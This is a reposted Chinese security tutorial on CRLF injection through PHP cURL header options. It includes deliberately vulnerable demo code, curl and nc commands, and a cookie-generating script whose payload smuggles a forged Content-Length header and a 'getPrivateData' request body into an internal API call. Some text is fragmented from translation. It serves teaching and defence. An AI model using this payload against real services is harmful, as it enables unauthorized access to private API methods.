<?php // common.php function getTrialGroups(){ $trialGroups = 'default'; if (isset($_COOKIE['trialGroups'])){ $trialGroups = $_COOKIE['trialGroups']; } return explode(",", $trialGroups); }
getTrialGroups()
函数只是读取 cookie 值,将列表分开并返回该用户的试用组。此函数中缺少白名单立即引起了我的注意。我搜索了代码库的其余部分以找到调用该函数的位置,这样我就可以查看是否存在对其返回值的不安全使用。
<?php // server.php // Include common functions require __DIR__.'/common.php'; // Using the awesome httpbin.org here to just reflect // our whole request back at us as JSON :) $ch = curl_init("http://httpbin.org/post"); // Make curl_exec return the response body curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Set the content type and pass through any trial groups curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", "X-Trial-Groups: " . implode(",", getTrialGroups ()) ]); // Call the 'getPublicData' RPC method on the internal API curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([ "method" => "getPublicData", "params" => [] ])); // Return the response to the user echo curl_exec($ch); curl_close($ch);
getPublicData
代码使用 cURL 库在内部 JSON API 上调用方法。该 API 需要用户的试用组,以便它可以相应地更改其行为,因此试用组在标头中传递给 API X-Trial-Groups
。
CURLOPT_HTTPHEADER时
不会检查回车符或换行符的值。因为getTrialGroups()
函数返回用户可控的数据,所以可以将任意标头注入 API 请求。演示时间
server.php放到
本地Web 服务器测试:tom@slim:~/tmp/crlf▶ php -S localhost:1234 server.php PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018 Listening on http://localhost:1234 Document root is /home/tom/tmp/crlf Press Ctrl-C to quit.
trialGroups
cookie 的请求:tom@slim:~▶ curl -s localhost:1234 -b ' trialGroups=A1,B2 ' { "args": {}, "data": "{"method":"getPublicData","params":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": " http://httpbin.org/post " }
作为内部API的替代,我使用http://httpbin.org/post,它返回一个描述发送POST请求的JSON文档,包括请求中的任何POST数据和 headers信息。
tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2 %0d%0aX-Injected:%20true ' { "args": {}, "data": "{"method":"getPublicData","params":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Injected": "true", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": " http://httpbin.org/post " }
HTTP 请求
POST
数据!POST
请求如下所示:POST /post HTTP/1.1
Host: httpbin.org
Connection: close
Content-Length: 7thedata
POST /post HTTP/1.1
Host: httpbin.org
Connection: close
Content-Length: 7
Content-Length
头告诉服务器将在请求正文中发送多少字节的数据。这个很重要:)thedata
POST
数据)。它的长度(以字节为单位)必须与我们之前发送的标头匹配Content-Length
,因为我们告诉服务器它必须读取那么多字节。tom@slim:~▶ echo -e "POST /post HTTP/1.1rnHost: httpbin.orgrnConnection: closernContent-Length: 7rnrnthedata some more data" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:20:10 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur{
"args": {},
"data": "thedata",
"files": {},
"form": {},
"headers": {
"Connection": "close",
"Content-Length": "7",
"Host": "httpbin.org"
},
"json": null,
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
tom@slim:~▶ echo -e "POST /post HTTP/1.1rnHost: httpbin.orgrnConnection: closernContent-Length: 7rnrnthedata some more data" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:20:10 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur{
"args": {},
"data": "thedata",
"files": {},
"form": {},
"headers": {
"Connection": "close",
"Content-Length": "7",
"Host": "httpbin.org"
},
"json": null,
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
利用
-
制作自己的JSON POST数据,调用getPublicData以外的一些方法;比方说getPrivateData -
以字节为单位获取该数据的长度 -
使用一个CRLF,注入Content-Length头,指示服务器只读取这个字节数。 -
注入两个CRLF序列,然后将我们的恶意JSON作为POST数据。
POST
内部 API 应该完全忽略合法的 JSON 数据,使用我们的恶意 JSON。tom@slim:~▶ cat gencookie.php
<?php
$postData = '{"method": "getPrivateData", "params": []}';
$length = strlen($postData);$payload = "ignorernContent-Length: {$length}rnrn{$postData}";echo "trialGroups=".urlencode($payload);
tom@slim:~▶ php gencookie.php
trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D
tom@slim:~▶ curl -s localhost:1234 -b $( php gencookie.php ) { "args": {}, "data": "{"method": "getPrivateData", "params": []}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "42" , "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": " ignore " }, "json": { "method": " getPrivateData ", "params": [] }, "origin": "X.X.X.X", "url": " http://httpbin.org/post " }
x-Trial-Groups
头设置为ignore
,注入Content-Length
头和我们自己的POST
数据。合法的POST
数据还是被发送了,但是被服务器完全忽略了:)其他载体
CURLOPT_HTTPHEADER
并不是唯一容易受到相同攻击的 cURL 选项。以下选项(可能还有其他选项!)在请求中隐式设置标头,并且容易受到攻击:-
CURLOPT_HEADER
-
CURLOPT_COOKIE
-
CURLOPT_RANGE
-
CURLOPT_REFERER
-
CURLOPT_USERAGENT
-
CURLOPT_PROXYHEADER
如果您发现更多,请告诉我
原文始发于微信公众号(安全帮Live):教程 | CRLF注入技巧分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论